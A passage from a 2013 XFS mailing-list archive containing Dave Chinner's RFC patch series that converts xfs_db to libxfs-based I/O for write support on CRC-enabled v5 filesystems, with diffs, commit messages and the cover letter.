35c08ff..c1ea4b3 100644 --- a/include/xfs_format.h +++ b/include/xfs_format.h @@ -34,6 +34,28 @@ struct xfs_buf; struct xfs_ifork; /* + * Central location for exporting buffer verifier operations as they are + * widely used, including userspace tools + */ +extern const struct xfs_buf_ops xfs_agf_buf_ops; +extern const struct xfs_buf_ops xfs_agi_buf_ops; +extern const struct xfs_buf_ops xfs_agf_buf_ops; +extern const struct xfs_buf_ops xfs_agfl_buf_ops; +extern const struct xfs_buf_ops xfs_allocbt_buf_ops; +extern const struct xfs_buf_ops xfs_attr3_leaf_buf_ops; +extern const struct xfs_buf_ops xfs_attr3_rmt_buf_ops; +extern const struct xfs_buf_ops xfs_bmbt_buf_ops; +extern const struct xfs_buf_ops xfs_da3_node_buf_ops; +extern const struct xfs_buf_ops xfs_symlink_buf_ops; +extern const struct xfs_buf_ops xfs_agi_buf_ops; +extern const struct xfs_buf_ops xfs_inobt_buf_ops; +extern const struct xfs_buf_ops xfs_inode_buf_ops; +extern const struct xfs_buf_ops xfs_inode_ra_buf_ops; +extern const struct xfs_buf_ops xfs_dquot_buf_ops; +extern const struct xfs_buf_ops xfs_sb_buf_ops; +extern const struct xfs_buf_ops xfs_sb_quiet_buf_ops; + +/* * RealTime Device format definitions */ diff --git a/include/xfs_ialloc.h b/include/xfs_ialloc.h index 68c0732..1557798 100644 --- a/include/xfs_ialloc.h +++ b/include/xfs_ialloc.h @@ -158,6 +158,4 @@ int xfs_ialloc_inode_init(struct xfs_mount *mp, struct xfs_trans *tp, xfs_agnumber_t agno, xfs_agblock_t agbno, xfs_agblock_t length, unsigned int gen); -extern const struct xfs_buf_ops xfs_agi_buf_ops; - #endif /* __XFS_IALLOC_H__ */ diff --git a/include/xfs_ialloc_btree.h b/include/xfs_ialloc_btree.h index 3ac36b7..cfbfe46 100644 --- a/include/xfs_ialloc_btree.h +++ b/include/xfs_ialloc_btree.h @@ -110,6 +110,4 @@ extern struct xfs_btree_cur *xfs_inobt_init_cursor(struct xfs_mount *, struct xfs_trans *, struct xfs_buf *, xfs_agnumber_t); extern int xfs_inobt_maxrecs(struct xfs_mount *, int, int); -extern const struct xfs_buf_ops xfs_inobt_buf_ops; - #endif /* __XFS_IALLOC_BTREE_H__ */ diff --git a/include/xfs_inode_buf.h b/include/xfs_inode_buf.h index aae9fc4..e8fd3bd 100644 --- a/include/xfs_inode_buf.h +++ b/include/xfs_inode_buf.h @@ -47,6 +47,4 @@ void xfs_inobp_check(struct xfs_mount *, struct xfs_buf *); #define xfs_inobp_check(mp, bp) #endif /* DEBUG */ -extern const struct xfs_buf_ops xfs_inode_buf_ops; - #endif /* __XFS_INODE_BUF_H__ */ diff --git a/include/xfs_sb.h b/include/xfs_sb.h index 1d0839a..bc62812 100644 --- a/include/xfs_sb.h +++ b/include/xfs_sb.h @@ -693,7 +693,4 @@ extern void xfs_sb_from_disk(struct xfs_sb *, struct xfs_dsb *); extern void xfs_sb_to_disk(struct xfs_dsb *, struct xfs_sb *, __int64_t); extern void xfs_sb_quota_from_disk(struct xfs_sb *sbp); -extern const struct xfs_buf_ops xfs_sb_buf_ops; -extern const struct xfs_buf_ops xfs_sb_quiet_buf_ops; - #endif /* __XFS_SB_H__ */ -- 1.8.3.2 From dave@fromorbit.com Thu Sep 5 07:13:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A006B7F52 for ; Thu, 5 Sep 2013 07:13:45 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1FC7EAC005 for ; Thu, 5 Sep 2013 05:13:45 -0700 (PDT) X-ASG-Debug-ID: 1378383222-04cbb02c3bd64160001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id d56UYjr5xtSF2Npn for ; Thu, 05 Sep 2013 05:13:42 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnkIAHF0KFJ5LJ62/2dsb2JhbABbgweuVJUgF3SCJAEBBScvMwgVAzE5Aw0OGYgBulWUBAOpW4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl2.internode.on.net with ESMTP; 05 Sep 2013 21:43:39 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHYRM-0001GL-JY for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHYRM-0004E8-IU for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [RFC PATCH 01/12] db: separate out straight buffer IO from map based IO. Date: Thu, 5 Sep 2013 22:13:22 +1000 X-ASG-Orig-Subj: [RFC PATCH 01/12] db: separate out straight buffer IO from map based IO. Message-Id: <1378383213-16155-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378383213-16155-1-git-send-email-david@fromorbit.com> References: <1378383213-16155-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1378383222 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140362 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner First step in converting to libxfs based IO. Signed-off-by: Dave Chinner --- db/init.c | 7 ++-- db/io.c | 125 +++++++++++++++++++++++++++++++++++++++++++++++++------------- db/io.h | 5 +-- 3 files changed, 104 insertions(+), 33 deletions(-) diff --git a/db/init.c b/db/init.c index 2932e51..0e88b56 100644 --- a/db/init.c +++ b/db/init.c @@ -55,7 +55,7 @@ init( char **argv) { xfs_sb_t *sbp; - void *bufp = NULL; + char bufp[BBSIZE]; int c; setlocale(LC_ALL, ""); @@ -115,15 +115,14 @@ init( exit(1); } - if (read_bbs(XFS_SB_DADDR, 1, &bufp, NULL)) { + if (read_buf(XFS_SB_DADDR, 1, bufp)) { fprintf(stderr, _("%s: %s is invalid (cannot read first 512 " "bytes)\n"), progname, fsdevice); exit(1); } /* copy SB from buffer to in-core, converting architecture as we go */ - libxfs_sb_from_disk(&xmount.m_sb, bufp); - xfree(bufp); + libxfs_sb_from_disk(&xmount.m_sb, (struct xfs_dsb *)bufp); sbp = &xmount.m_sb; if (sbp->sb_magicnum != XFS_SB_MAGIC) { diff --git a/db/io.c b/db/io.c index 39a1827..fa11646 100644 --- a/db/io.c +++ b/db/io.c @@ -417,8 +417,61 @@ ring_add(void) } } - int +read_buf( + xfs_daddr_t bbno, + int count, + void *bufp) +{ + int err; + + err = pread64(x.dfd, bufp, BBTOB(count), BBTOB(bbno)); + if (err < 0) + err = errno; + else if (err < count) + err = -1; + return err; +} + +static int +write_buf( + xfs_daddr_t bbno, + int count, + void *bufp) +{ + int err; + + err = pwrite64(x.dfd, bufp, BBTOB(count), BBTOB(bbno)); + if (err < 0) + err = errno; + else if (err < count) + err = -1; + return err; +} + +static void +write_cur_buf(void) +{ + int ret; + + ret = write_buf(iocur_top->bb, iocur_top->blen, iocur_top->buf); + + if (ret == -1) + dbprintf(_("incomplete write, block: %lld\n"), + (iocur_base + iocur_sp)->bb); + else if (ret != 0) + dbprintf(_("write error: %s\n"), strerror(ret)); + + /* re-read buffer from disk */ + ret = read_buf(iocur_top->bb, iocur_top->blen, iocur_top->buf); + if (ret == -1) + dbprintf(_("incomplete read, block: %lld\n"), + (iocur_base + iocur_sp)->bb); + else if (ret != 0) + dbprintf(_("read error: %s\n"), strerror(ret)); +} + +static int write_bbs( __int64_t bbno, int count, @@ -430,15 +483,14 @@ write_bbs( int j; int rval = EINVAL; /* initialize for zero `count' case */ - for (j = 0; j < count; j += bbmap ? 1 : count) { - if (bbmap) - bbno = bbmap->b[j]; + for (j = 0; j < count; j++) { + bbno = bbmap->b[j]; if (lseek64(x.dfd, bbno << BBSHIFT, SEEK_SET) < 0) { rval = errno; dbprintf(_("can't seek in filesystem at bb %lld\n"), bbno); return rval; } - c = BBTOB(bbmap ? 1 : count); + c = BBTOB(1); i = (int)write(x.dfd, (char *)bufp + BBTOB(j), c); if (i < 0) { rval = errno; @@ -452,7 +504,7 @@ write_bbs( return rval; } -int +static int read_bbs( __int64_t bbno, int count, @@ -473,9 +525,8 @@ read_bbs( buf = xmalloc(c); else buf = *bufp; - for (j = 0; j < count; j += bbmap ? 1 : count) { - if (bbmap) - bbno = bbmap->b[j]; + for (j = 0; j < count; j++) { + bbno = bbmap->b[j]; if (lseek64(x.dfd, bbno << BBSHIFT, SEEK_SET) < 0) { rval = errno; dbprintf(_("can't seek in filesystem at bb %lld\n"), bbno); @@ -483,7 +534,7 @@ read_bbs( xfree(buf); buf = NULL; } else { - c = BBTOB(bbmap ? 1 : count); + c = BBTOB(1); i = (int)read(x.dfd, (char *)buf + BBTOB(j), c); if (i < 0) { rval = errno; @@ -506,22 +557,19 @@ read_bbs( return rval; } -void -write_cur(void) +static void +write_cur_bbs(void) { int ret; - if (iocur_sp < 0) { - dbprintf(_("nothing to write\n")); - return; - } ret = write_bbs(iocur_top->bb, iocur_top->blen, iocur_top->buf, - iocur_top->use_bbmap ? &iocur_top->bbmap : NULL); + &iocur_top->bbmap); if (ret == -1) dbprintf(_("incomplete write, block: %lld\n"), (iocur_base + iocur_sp)->bb); else if (ret != 0) dbprintf(_("write error: %s\n"), strerror(ret)); + /* re-read buffer from disk */ ret = read_bbs(iocur_top->bb, iocur_top->blen, &iocur_top->buf, iocur_top->use_bbmap ? &iocur_top->bbmap : NULL); @@ -533,6 +581,20 @@ write_cur(void) } void +write_cur(void) +{ + if (iocur_sp < 0) { + dbprintf(_("nothing to write\n")); + return; + } + + if (iocur_top->use_bbmap) + write_cur_bbs(); + else + write_cur_buf(); +} + +void set_cur( const typ_t *t, __int64_t d, @@ -549,17 +611,32 @@ set_cur( return; } -#ifdef DEBUG - if (bbmap) - printf(_("xfs_db got a bbmap for %lld\n"), (long long)d); -#endif ino = iocur_top->ino; dirino = iocur_top->dirino; mode = iocur_top->mode; pop_cur(); push_cur(); - if (read_bbs(d, c, &iocur_top->buf, bbmap)) - return; + + if (bbmap) { +#ifdef DEBUG + printf(_("xfs_db got a bbmap for %lld\n"), (long long)d); +#endif + + if (read_bbs(d, c, &iocur_top->buf, bbmap)) + return; + iocur_top->bbmap = *bbmap; + iocur_top->use_bbmap = 1; + } else { + if (!iocur_top->buf) { + iocur_top->buf = malloc(BBTOB(c)); + if (!iocur_top->buf) + return; + } + if (read_buf(d, c, iocur_top->buf)) + return; + iocur_top->use_bbmap = 0; + } + iocur_top->bb = d; iocur_top->blen = c; iocur_top->boff = 0; @@ -570,8 +647,6 @@ set_cur( iocur_top->ino = ino; iocur_top->dirino = dirino; iocur_top->mode = mode; - if ((iocur_top->use_bbmap = (bbmap != NULL))) - iocur_top->bbmap = *bbmap; /* store location in ring */ if (ring_flag) diff --git a/db/io.h b/db/io.h index 549aad9..9ea6223 100644 --- a/db/io.h +++ b/db/io.h @@ -52,10 +52,7 @@ extern void off_cur(int off, int len); extern void pop_cur(void); extern void print_iocur(char *tag, iocur_t *ioc); extern void push_cur(void); -extern int read_bbs(__int64_t daddr, int count, void **bufp, - bbmap_t *bbmap); -extern int write_bbs(__int64_t daddr, int count, void *bufp, - bbmap_t *bbmap); +extern int read_buf(__int64_t daddr, int count, void *bufp); extern void write_cur(void); extern void set_cur(const struct typ *t, __int64_t d, int c, int ring_add, bbmap_t *bbmap); -- 1.8.3.2 From dave@fromorbit.com Thu Sep 5 07:13:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C547C7F53 for ; Thu, 5 Sep 2013 07:13:45 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 40B9CAC006 for ; Thu, 5 Sep 2013 05:13:42 -0700 (PDT) X-ASG-Debug-ID: 1378383220-04cbb02c3ed64160001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id fBxzMCKAhzrXt5PM for ; Thu, 05 Sep 2013 05:13:40 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AncIAHF0KFJ5LJ62/2dsb2JhbABbgweuVJUgF3SDATuBAgOINZlQoQWPfYQHA6IkhzeDMiqBLiQ Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl2.internode.on.net with ESMTP; 05 Sep 2013 21:43:39 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHYRM-0001GK-Ix for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHYRM-0004E5-Hf for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [RFC PATCH 00/12] xfs_db: write support for v5 filesystems Date: Thu, 5 Sep 2013 22:13:21 +1000 X-ASG-Orig-Subj: [RFC PATCH 00/12] xfs_db: write support for v5 filesystems Message-Id: <1378383213-16155-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1378383220 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140362 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, This RFC series brings write support to xfs_db for CRC enabled filesytsems. The series converts xfs_db to use libxfs for it's IO, adds awareness of verifiers and CRC validation to the IO stack and enables write support for v5 filesystem structures. The main infrastructure change is switching to libxfs-based IO instead of buffered block device IO. This means that xfs_db now switches to direct IO cached in it's own address space, meaning that when it runs it always starts with a cold cache and so we don't have problem with it reading stale cached data out of the kernel. With it using libxfs, we can also attach verifiers to the IO to validate structures and CRCs before we act on them. The fact that CRCs were passed or not is available to usres of the data that is read, and so programs like xfs_check can be made to fail if CRC validation fails on read of metadata. Finally, write support is enabled because now that all data buffers have verifiers they can recalculate CRCs on write. There's some special support for inodes and dquots, but they will still have CRCs recalculated before write IOs. Hence xfs_db won't corrupt v5 metadata now when you change a field value manually. There are still some issues with the libxfs support - there are some places where xfs_db re-reads the same block address with different buffer lengths, resulting in libxfs throwing a cache lookup badness warning. e.g: $ sudo xfs_db -c "push sb" -c "p crc" /dev/vdc 7fe16ab3f740: Badness in key lookup (length) bp=(bno 0x0, len 0 bytes) key=(bno 0x0, len 512 bytes) Version 5 superblock detected. xfsprogs has EXPERIMENTAL support enabled! Use of these features is at your own risk! crc = 0xfc7b42ec (correct) $ This shows a buffer at block 0 was created with zero length for some reason, but when we push the superblock onto the stack, it looks up a buffer of 512 bytes, not 0, and it throws an error. The experimental warning is being thrown by the superblock buffer verifier on detecting the v5 superblock version. And the CRC of the buffer is displayed as being correct as the verifier didn't throw a corruption error when it ran. This output currently causes all sorts of problems for xfstests - the root inode cluster is another that causes issues, and there are also cases occurring where cache purging on unmount is throwing warnings. Hence it's not yet ready for merge, but otherwise it seems to work reliably enough to use. Early review and testing would be helpful at this point. These changes also mean that we should be able to turn metadump back on, as it needs CRC write support for the obfuscation code to work on v5 filesystems. Patches will be coming shortly to do that. xfs_check is still an open question. I might just re-enable it and add CRC validation checks and see what falls out from that, without adding any extra validation for the v5 filesystem format bits... Comments, thoughts, flames? Cheers, Dave. From dave@fromorbit.com Thu Sep 5 07:13:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6A03A7F5D for ; Thu, 5 Sep 2013 07:13:46 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4A3388F8039 for ; Thu, 5 Sep 2013 05:13:43 -0700 (PDT) X-ASG-Debug-ID: 1378383221-04cbb02c3cd64160001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id akf77FJEODwi3cG7 for ; Thu, 05 Sep 2013 05:13:41 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAHF0KFJ5LJ62/2dsb2JhbABbgweuVJUgF3SCJAEBBScvMwgYMTkDGxmIAbpVlAQDoiSHN4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl2.internode.on.net with ESMTP; 05 Sep 2013 21:43:39 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHYRM-0001GM-K3 for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHYRM-0004ED-J5 for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [RFC PATCH 02/12] db: rewrite bbmap to use xfs_buf_map Date: Thu, 5 Sep 2013 22:13:23 +1000 X-ASG-Orig-Subj: [RFC PATCH 02/12] db: rewrite bbmap to use xfs_buf_map Message-Id: <1378383213-16155-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378383213-16155-1-git-send-email-david@fromorbit.com> References: <1378383213-16155-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1378383221 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140362 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Use the libxfs struct xfs_buf_map for recording the extent layout of discontiguous buffers and convert the read/write to decode them directory and use read_buf/write_buf to do the extent IO. This brings the physical xfs_db IO code to be very close to the model that libxfs uses. Signed-off-by: Dave Chinner --- db/bmap.c | 14 +++----------- db/io.c | 58 ++++++++++++---------------------------------------------- db/io.h | 2 +- 3 files changed, 16 insertions(+), 58 deletions(-) diff --git a/db/bmap.c b/db/bmap.c index 0ef7a62..eb5db66 100644 --- a/db/bmap.c +++ b/db/bmap.c @@ -293,19 +293,11 @@ make_bbmap( int nex, bmap_ext_t *bmp) { - int d; - xfs_dfsbno_t dfsbno; int i; - int j; - int k; - for (i = 0, d = 0; i < nex; i++) { - dfsbno = bmp[i].startblock; - for (j = 0; j < bmp[i].blockcount; j++, dfsbno++) { - for (k = 0; k < blkbb; k++) - bbmap->b[d++] = - XFS_FSB_TO_DADDR(mp, dfsbno) + k; - } + for (i = 0; i < nex; i++) { + bbmap->b[i].bm_bn = XFS_FSB_TO_DADDR(mp, bmp[i].startblock); + bbmap->b[i].bm_bn = XFS_FSB_TO_BB(mp, bmp[i].blockcount); } } diff --git a/db/io.c b/db/io.c index fa11646..01a5970 100644 --- a/db/io.c +++ b/db/io.c @@ -478,28 +478,16 @@ write_bbs( void *bufp, bbmap_t *bbmap) { - int c; - int i; int j; int rval = EINVAL; /* initialize for zero `count' case */ - for (j = 0; j < count; j++) { - bbno = bbmap->b[j]; - if (lseek64(x.dfd, bbno << BBSHIFT, SEEK_SET) < 0) { - rval = errno; - dbprintf(_("can't seek in filesystem at bb %lld\n"), bbno); - return rval; - } - c = BBTOB(1); - i = (int)write(x.dfd, (char *)bufp + BBTOB(j), c); - if (i < 0) { - rval = errno; - } else if (i < c) { - rval = -1; - } else - rval = 0; + for (j = 0; j < count;) { + rval = write_buf(bbmap->b[j].bm_bn, bbmap->b[j].bm_len, + (char *)bufp + BBTOB(j)); if (rval) break; + + j += bbmap->b[j].bm_len; } return rval; } @@ -512,45 +500,23 @@ read_bbs( bbmap_t *bbmap) { void *buf; - int c; - int i; int j; int rval = EINVAL; if (count <= 0) count = 1; - c = BBTOB(count); if (*bufp == NULL) - buf = xmalloc(c); + buf = xmalloc(BBTOB(count)); else buf = *bufp; - for (j = 0; j < count; j++) { - bbno = bbmap->b[j]; - if (lseek64(x.dfd, bbno << BBSHIFT, SEEK_SET) < 0) { - rval = errno; - dbprintf(_("can't seek in filesystem at bb %lld\n"), bbno); - if (*bufp == NULL) - xfree(buf); - buf = NULL; - } else { - c = BBTOB(1); - i = (int)read(x.dfd, (char *)buf + BBTOB(j), c); - if (i < 0) { - rval = errno; - if (*bufp == NULL) - xfree(buf); - buf = NULL; - } else if (i < c) { - rval = -1; - if (*bufp == NULL) - xfree(buf); - buf = NULL; - } else - rval = 0; - } - if (buf == NULL) + for (j = 0; j < count;) { + rval = read_buf(bbmap->b[j].bm_bn, bbmap->b[j].bm_len, + (char *)buf + BBTOB(j)); + if (rval) break; + + j += bbmap->b[j].bm_len; } if (*bufp == NULL) *bufp = buf; diff --git a/db/io.h b/db/io.h index 9ea6223..0f7c018 100644 --- a/db/io.h +++ b/db/io.h @@ -20,7 +20,7 @@ struct typ; #define BBMAP_SIZE (XFS_MAX_BLOCKSIZE / BBSIZE) typedef struct bbmap { - __int64_t b[BBMAP_SIZE]; + struct xfs_buf_map b[BBMAP_SIZE]; } bbmap_t; typedef struct iocur { -- 1.8.3.2 From dave@fromorbit.com Thu Sep 5 07:13:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7D2647F5E for ; Thu, 5 Sep 2013 07:13:46 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6BB4C8F8040 for ; Thu, 5 Sep 2013 05:13:46 -0700 (PDT) X-ASG-Debug-ID: 1378383220-04cbb02c3ed64160003-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id t3Dk1k7eLQfIbsSC for ; Thu, 05 Sep 2013 05:13:43 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnkIAHF0KFJ5LJ62/2dsb2JhbABbgweuVJUgF3SCJAEBBScvMwgVAzE5Aw0OGRuHZrpVlAQDqVuDMiqBLiQ Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl2.internode.on.net with ESMTP; 05 Sep 2013 21:43:39 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHYRM-0001GN-KY for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHYRM-0004EI-JY for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [RFC PATCH 03/12] db: rewrite IO engine to use libxfs Date: Thu, 5 Sep 2013 22:13:24 +1000 X-ASG-Orig-Subj: [RFC PATCH 03/12] db: rewrite IO engine to use libxfs Message-Id: <1378383213-16155-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378383213-16155-1-git-send-email-david@fromorbit.com> References: <1378383213-16155-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1378383223 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140362 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Now that we have buffers and xfs_buf_maps, it is relatively easy to convert the IO engine to use libxfs routines. This gets rid of the most of the differences between mapped and straight buffer reads, and tracks xfs_bufs directly in the IO context that is being used. This is not yet a perfect solution, as xfs_db does different sized IOs for the same block range which will throw warnings like: xfs_db> inode 64 7ffff7fde740: Badness in key lookup (length) bp=(bno 0x40, len 8192 bytes) key=(bno 0x40, len 4096 bytes) xfs_db> This is when first displaying an inode in the root inode chunk. These will need to be dealt with on a case by case basis. Signed-off-by: Dave Chinner --- db/bmap.c | 1 + db/init.c | 25 ++++++-- db/io.c | 170 +++++++++++++------------------------------------------ db/io.h | 5 +- include/libxfs.h | 3 + libxfs/init.c | 5 ++ libxfs/rdwr.c | 61 +++++++++++++------- 7 files changed, 112 insertions(+), 158 deletions(-) diff --git a/db/bmap.c b/db/bmap.c index eb5db66..4ac9632 100644 --- a/db/bmap.c +++ b/db/bmap.c @@ -299,6 +299,7 @@ make_bbmap( bbmap->b[i].bm_bn = XFS_FSB_TO_DADDR(mp, bmp[i].startblock); bbmap->b[i].bm_bn = XFS_FSB_TO_BB(mp, bmp[i].blockcount); } + bbmap->nmaps = nex; } static xfs_fsblock_t diff --git a/db/init.c b/db/init.c index 0e88b56..b1cddca 100644 --- a/db/init.c +++ b/db/init.c @@ -54,8 +54,8 @@ init( int argc, char **argv) { - xfs_sb_t *sbp; - char bufp[BBSIZE]; + struct xfs_sb *sbp; + struct xfs_buf *bp; int c; setlocale(LC_ALL, ""); @@ -115,14 +115,25 @@ init( exit(1); } - if (read_buf(XFS_SB_DADDR, 1, bufp)) { + /* + * Read the superblock, but don't validate it - we are a diagnostic + * tool and so need to be able to mount busted filesystems. + */ + memset(&xmount, 0, sizeof(struct xfs_mount)); + libxfs_buftarg_init(&xmount, x.ddev, x.logdev, x.rtdev); + bp = libxfs_readbuf(xmount.m_ddev_targp, XFS_SB_DADDR, + 1 << (XFS_MAX_SECTORSIZE_LOG - BBSHIFT), 0, NULL); + + if (!bp || bp->b_error) { fprintf(stderr, _("%s: %s is invalid (cannot read first 512 " "bytes)\n"), progname, fsdevice); exit(1); } /* copy SB from buffer to in-core, converting architecture as we go */ - libxfs_sb_from_disk(&xmount.m_sb, (struct xfs_dsb *)bufp); + libxfs_sb_from_disk(&xmount.m_sb, XFS_BUF_TO_SBP(bp)); + libxfs_putbuf(bp); + libxfs_purgebuf(bp); sbp = &xmount.m_sb; if (sbp->sb_magicnum != XFS_SB_MAGIC) { @@ -201,6 +212,12 @@ main( } close_devices: + /* + * make sure that we pop the last buffer context we held so that the + * buffer is released before purge the caches during unmount. + */ + pop_cur(); + libxfs_umount(mp); if (x.ddev) libxfs_device_close(x.ddev); if (x.logdev && x.logdev != x.ddev) diff --git a/db/io.c b/db/io.c index 01a5970..abfbca4 100644 --- a/db/io.c +++ b/db/io.c 